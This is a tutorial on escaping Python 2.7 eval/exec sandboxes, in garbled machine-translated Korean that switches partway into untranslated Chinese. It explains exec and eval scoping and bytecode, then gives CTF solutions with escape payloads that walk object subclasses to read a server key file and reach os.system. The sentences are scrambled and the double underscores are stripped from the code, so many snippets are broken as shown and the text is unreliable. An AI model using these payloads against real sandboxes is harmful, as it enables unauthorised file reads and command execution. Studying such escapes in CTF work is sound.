[TOC]
(Python 2.7 기준)
Python 샌드박스 이스케이프 문제를 해결하기 전에 Python의 몇 가지 구문 세부 사항을 이해해야 합니다. eval
기능 사용법을 이미 알고 계시다면 1, 2부 생략하고 3x00을 바로 시청하셔도 됩니다.
은 표현식의 내용을 실행하는 데 사용되며 exec
또는 eval
을 사용하여 수행할 수 있습니다.
exec_stmt: "exec" expression ["in" expression ["," expression]]
여기서 ["in" expression ["," expression]]
는 선택적 표현식입니다.
exec "x = 1+1" print x #result: #2
exec "x = 'a' + '42'" print x #result: #a42
여러 줄의 코드를 실행할 수도 있습니다. 따옴표 세 개로 묶으면 됩니다.
a = 0 exec"""for _ in range(input()): a += 1 """ print a
한편으로는 execfile
을 사용할 수 있는데, 그 기능은 이 파일의 내용을 실행하는 것입니다
#Desktop/pytest.txt print 'Gou Li Guo Jia Sheng Si Yi'
pytest.py
의 출력 결과는 다음과 같습니다.
#Desktop/pytest.py execfile(r'C:\Users\Think\Desktop\pytest.txt')
execfile
는 pytest.txt
의 내용을 실행합니다. 가 을 읽는 대신 이 실행된다는 점에 유의하세요. 의 내용이 pytest.txt
이면 어떤 출력도 얻을 수 없습니다. 'Gou Li Guo Jia Sheng Si Yi'
물론 .py 파일을 실행하는 것도 가능합니다. .txt 파일을 실행하기 위한 요구 사항은 txt 파일의 내용이 ASCII여야 한다는 것입니다. txt 파일보다는 .py 파일을 실행하는 것이 더 좋습니다.
이 가리키는 파일의 내용을 직접 execfile
복사합니다. 예:
Gou Li Guo Jia Sheng Si Yi
#C:/Users/Think/Desktop/Mo.py #coding:utf-8 a = 2 print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py a = 3 execfile(r'C:\Users\Think\Desktop\Mo.py') print a
표현식을 사용하여 전역 in
변수를 사용할 수 있습니다 도메인.
稻花香里说丰年,听取蛤声一片 2
#C:\Users\Think\Desktop\test1.txt print poetry
#pytest.py result={'poetry':'苟利国家生死以'} exec open(r'C:\Users\Think\Desktop\test1.txt') in result
b = 42 tup1 = (123,456,111) exec "b = tup1[2]" print b
지원 두 개의 선택적 매개변수, 키워드 지정 매개변수는 지원되지 않습니다. exec
Python은 C++와 유사한
정적 범위(어휘 범위) 규칙을 채택합니다. 변수는 함수 내에서 사용할 수 있지만 함수 외부에서는 사용할 수 없습니다. 파스칼 언어에서는 동적 범위를 사용합니다. 즉, 함수가 실행되면 변수가 존재하게 됩니다. 예를 들어
함수는 g
함수에 중첩되어 있습니다. 프로그램이 f
을 실행할 때 f
의 표현식에서 변수를 찾습니다. 이때 f
에 이 변수가 있으면 이 변수를 사용하고, 없으면 계속해서 레이어별로 바깥쪽으로 검색합니다. g
은 함수(function)가 아닌 문법적 명령문(statement)이고, exec
는 함수execfile
라는 점에 유의해야 합니다. 이유는 다음과 같습니다.
에서 외부 변수를 직접 인쇄하는 경우: exec
111
b = 42 tup1 = (123,456,111) exec "print tup1[1]" #结果为 456
b = 42 tup1 = (123,456,111) def pr(): print tup[1] pr() #结果: #NameError: global name 'tup' is not defined
는 다음을 지정하는 globals
dict
객체 입니다. 필수 전역 변수입니다. exec
은 globlas
globals()
과 동일하며 locals
매개변수 값과 동일합니다globals
exec_stmt: "exec" expression ["in" expression ["," expression]]
의 값은 exec
이며 이는 지정된 locals
, 즉 k
에서 비롯됩니다. .globals
게다가
globals는 전역 변수에서 가져오고 전역 변수 에 대해 작동합니다.
#coding:utf-8 k = {'b':42} exec ("a = b + 1",k) print k['a'],k['b'] #结果: #43 42
g = {'b':100} exec("""age = b + a print age """,g,{'a':1}) #结果: #101
와 비교하면 age, b, a 세 가지 내부 변수가 있는 것을 볼 수 있습니다 exec
지정 후 b는 g(전역)에서 오고, a는 사용자 정의된 지역 변수에서 옵니다.
local은 지역 변수에서 가져와서 지역 변수 에 작용하는 것을 볼 수 있습니다. 이 결론을 확인하기 위해 다음과 같이 약간 수정합니다.
g = {'b':100,'a':2} exec("""age = b + a print age """,g,{'a':1}) #结果: #101
는 사전 a
(전역)에 영향을 주지 않는 반면, 위의 첫 번째 섹션에서 언급한 <는 🎜> 키 값 g
이 전역 사전 globals
에 채워졌습니다.a
g
exec 결론
을 만들 수 있습니다. 이후의 내용을 p1, p2, p3의 세 부분으로 나눕니다
g = {'b':100} exec("""age = b + a print age """,g,{'a':1}) print g['a'] #结果: #101 # print g['a'] #KeyError: 'a'
exec
第二部分p2
,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3
,p1
中的结果会传回全局变量;
第三部分p3
,其中的内容是局部的,将用户在其中自设的局部值传递给p1
,并且在局部中生效,如果在外部引用此处用到的值将会报错。
#use `exec` source code import dis def exec_diss(): exec "x=3" dis.dis(exec_diss)
# use `exec` disassembly 4 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 8 LOAD_CONST 0 (None) 11 RETURN_VALUE
#not use `exec` scource code import dis def exec_diss(): x=3 dis.dis(exec_diss)
#not use exec disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
指令解释在这里:http://www.php.cn/
简要说明下,TOS
是top-of-stack
,就是栈顶。LOAD_CONST
是入栈,RETURN_VALUE
是还原esp
。
其中两者的不同之处在于:
# use `exec` disassembly 6 DUP_TOP #复制栈顶指针 7 EXEC_STMT #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
也就是说,def
函数是将变量入栈,然后调用时就出栈返回;而使用了exec
之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec
的内容。
eval
用以动态执行其后的代码,并返回执行后得到的值。
eval(expression[, globals[, locals]])
eval
也有两个可选参数,即 globals
、locals
使用如下:
print eval("1+1") #result: #2
1,globals
类似于 exec
:
g = {'a':1} print eval("a+1",g) #result: #2
2,locals
k = {'b':42} print eval ("b+c",k,{'c':2}) #result: #44
#use_eval import dis def eval_dis(): eval ("x = 3") dis.dis(eval_dis)
#use_eval_disassembly 3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('x = 3') 6 CALL_FUNCTION 1 9 POP_TOP 10 LOAD_CONST 0 (None) 13 RETURN_VALUE
比较:
#not_use_eval import dis def no_eval_dis(): x = 3 dis.dis(no_eval_dis)
#not_use_eval_disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
同样是建栈之后执行。
exec
无返回值:
exec ("print 1+1") #result: #2
如果改成
print exec("1+1")
这就会因为没有返回值(不存在该变量而报错)。
而 eval
是有返回值的:
eval ("print 1+1") #result: #SyntaxError: invalid syntax
如果想要打印,则必须在 eval
之前使用print
。
但是奇怪的是,为什么 exec
反汇编出的内容当中,也会有一个RETURN_VALUE
呢?
RETURN_VALUE
来源为了确定这个RETURN_VALUE
究竟是受到哪一部分的影响,可以改动一下之前的代码,
import dis def exec_diss(): exec "x=3" return 0 dis.dis(exec_diss)
3 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 4 8 LOAD_CONST 2 (0) 11 RETURN_VALUE
对比eval
的:
import dis def eval_diss(): eval ("3") return 0 dis.dis(eval_diss)
3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('3') 6 CALL_FUNCTION 1 9 POP_TOP 4 10 LOAD_CONST 2 (0) 13 RETURN_VALUE
对比 eval
和exec
之后,会发现exec
使用的是DUP_TOP()
,而eval
使用的是POP_TOP
,前者是复制 TOS
,后者是推出TOS
。
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp
,这是函数执行完之后的特征。在 Python 中,eval
就是一种函数,exec
是表达式。这也解释了之前说的eval
有返回值而exec
无返回值的原因。
而最后的 RETURN_VALUE
,很明显可以看出并非eval
或exec
的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0
)。
可以写段不包含这两者的代码来验证:
import dis def no(): a = 1+1 dis.dis(no)
3 0 LOAD_CONST 2 (2) 3 STORE_FAST 0 (a) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
所以,RETURN_VALUE
是每个程序正常运行时就有的。
在 Python 当中, import
可以将一个 Python 内置模块导入,import
可以接受字符串作为参数。
调用 os.system()
,就可以执行系统命令。在 Windows下,可以这么写:
>>> import('os').system('dir')
或者:
>>> import os >>> os.system('dir')
也可以达到这个目的。
这两种方法会使得系统执行dir
,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:
with open('example.txt') as f: s = f.read().replace('\n', '') print s
如果有一个功能,设计为执行用户所输入的内容,如
print eval("input()")
此时用户输入1+1
,那么会得到返回值 2
。若前述的
os.system('dir')
则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval
指定一个空的全局变量,那么eval
就无法从外部得到 os.system
模块,这会导致报错。
然而,可以自己导入这个模块嘛。
import('os').system('dir')
这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins
,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:
>>> dir('builtins') ['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
这样,就可以写成:
eval("input()",{'builtins':{}})
就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None
,如:
env = {} env["locals"] = None env["globals"] = None eval("input()", env)
但是这种情况下builtions
对buitin
的引用依然有效。
s = """ (lambda fc=( lambda n: [ c for c in ().class.bases[0].subclasses() if c.name == n ][0] ): fc("function")( fc("code")( 0,0,0,0,"KABOOM",(),(),(),"","",0,"" ),{} )() )() """ eval(s, {'builtins':{}})
(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>
,要通过
().class.bases[0]
bases
类当中的第一个 元素就是元组(tuple),而tuple
就是一个object
.
lambda
这一段主要是构造出一个函数,这个函数要跑完 subclasses
来寻找一个object
。
这是一种情形。总的来说,就是跑一个通过object
假的bytecodes
.
从上述情况来看,eval
是不安全的。
这是一道 CTF 题目,只给了这个:
def make_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] for func in UNSAFE: del builtins.dict[func] from re import findall # Remove dangerous builtins make_secure() print 'Go Ahead, Expoit me >;D' while True: try: # Read user input until the first whitespace character inp = findall('\S+', raw_input())[0] a = None # Set a to the result from executing the user input exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
make_secure
这个模块很好理解,看看下边的:
from re import findall
这是 Python 正则表达式的模块。而re.findall
可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:
from re import findall inp = findall('\S+',raw_input())[0] a = None exec 'a = ' +inp print 'Return Value:',a
运行后输入 1+1
,返回结果为2
.
构造
之前已经说过可以利用
().class.bases[0].subclasses()
在该题中,主办方搞了个在服务器上的文件,里边有 key
,而[40]
是文件,直接就可以了。
().class.bases[0].subclasses()[40]("./key").read()
#!/usr/bin/env python from future import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys" ] targets = builtins.dict.keys() targets.remove('raw_input') targets.remove('print') for x in targets: del builtins.dict[x] while 1: print(">>>", end=' ') data = raw_input() for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
给了这个:
#!/usr/bin/env python # coding: utf-8 def del_unsafe(): UNSAFE_BUILTINS = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] ## block objet? for func in UNSAFE_BUILTINS: del builtins.dict[func] from re import findall del_unsafe() print 'Give me your command!' while True: try: inp = findall('\S+', raw_input())[0] print "inp=", inp a = None exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
比较一下和上边的第一题有什么不同,答案是……并没有什么不同……
위 내용은 Python 샌드박스 이스케이프 문제 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!